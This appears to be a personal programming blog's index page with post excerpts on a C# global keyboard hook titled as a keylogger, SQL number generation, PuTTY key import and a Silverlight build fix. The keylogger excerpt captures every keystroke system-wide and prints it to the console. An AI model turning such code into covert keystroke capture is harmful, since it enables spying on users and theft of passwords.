A C# Keylogger in 75 Lines

A while back I was researching a way to check if a machine was being used so that it could be used in some computationally expensive processing if the machine was idle. I ended up using some WMI commands, but in the course of researching I wrote some code to hook into the keyboard and mouse at a low level.

This code is based off of the GlobalMouseKeyHook project.

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace MinHook
    class KBHook
        public const int WM_KEYDOWN = 0x100;

        internal struct KeyboardHookStruct
            public int VirtualKeyCode;
            public int ScanCode;
            public int Flags;
            public int Time;
            public int ExtraInfo;

        public static int HookHandle;

        public delegate int HookCallback(int nCode, int wParam, IntPtr lParam);

        static void Main(string[] args)
            HookHandle = SetWindowsHookEx(13, new HookCallback(CallBackFunction), Process.GetCurrentProcess().MainModule.BaseAddress, 0);

            while (true)

        public static int CallBackFunction(int nCode, Int32 wParam, IntPtr lParam)
            if (nCode == 0)
                ProcessCallBack(wParam, lParam);

            return CallNextHookEx(HookHandle, nCode, wParam, lParam);

        public static void ProcessCallBack(Int32 wParam, IntPtr lParam)
            if (wParam != WM_KEYDOWN)

            KeyboardHookStruct k = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));

            byte[] keyState = new byte[256];
            byte[] inBuffer = new byte[2];

            bool isSuccesfullyConverted = ToAscii(k.VirtualKeyCode, k.ScanCode, keyState, inBuffer, k.Flags) == 1;

            var ch = (char)inBuffer[0];

            Console.WriteLine(string.Format("VKC={0}, Char={1}", k.VirtualKeyCode, ch));

        [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
        internal static extern int SetWindowsHookEx(int idHook,HookCallback lpfn,IntPtr hMod,int dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
        internal static extern int CallNextHookEx(int idHook,int nCode,int wParam,IntPtr lParam);

        public static extern int ToAscii(int uVirtKey,int uScanCode,byte[] lpbKeyState,byte[] lpwTransKey,int fuState);

        public static extern int GetKeyboardState(byte[] pbKeyState);
more ...

Generate List of Numbers in SQL Server 2008

A new way to generate a list of numbers between 0 and 9999 in SQL Server 2008 using derived tables:

select thousands.digit + hundreds.digit + tens.digit + ones.digit as number
from ( select * from ( values ('0'),('1'),('2'),('3'),('4'),('5'),('6'),('7'),('8'),('9') ) as t(digit) ) ones
join ( select * from ( values ('0'),('1'),('2'),('3'),('4'),('5'),('6'),('7'),('8'),('9') ) as t(digit) ) tens on 1=1
join ( select * from ( values ('0'),('1'),('2'),('3'),('4'),('5'),('6'),('7'),('8'),('9') ) as t(digit) ) hundreds on 1=1
join ( select * from ( values ('0'),('1'),('2'),('3'),('4'),('5'),('6'),('7'),('8'),('9') ) as t(digit) ) thousands on 1=1
more ...

PuTTY - Unable to Use Key File (OpenSSH SSH-2 Private Key)

Taking my private SSH key off my Linux box to use on my Windows machine, I get the following error trying to make the same connection:

    Unable to use key file "C:\Program Files\PuTTY\id_rsa.dev-nfs" (OpenSSH SSH-2 private key)

After several fruitless Google searches, it turns out you have to import the key into PuTTY’s native format using PuTTYgen. Click Load in PuTTYgen and select the file you saved off your Linux box.

After it's loaded you should get a message stating that key was successfully imported.

Click save private key and you are good to use the new file as your SSH key in PuTTY under Connection > SSH > Auth.

more ...


I came across a problem when using Visual Web Developer 2008 to develop for Silverlight. When adding an xmlns for your application to your UserControl, the compiler complains about a missing assembly reference.

        Width="400" Height="300">
    <Grid x:Name="LayoutRoot" Background="Black">
        <Canvas x:Name="surface">
            <My:Foo x:Name="bar" Canvas.Left="305" Canvas.Top="220"/>

You can fix this by removing the My:Foo element and building the project before adding the element back in.

more ...


Welcome to Brent Roady’s blog.  Yes, THE Brent Roady.

more ...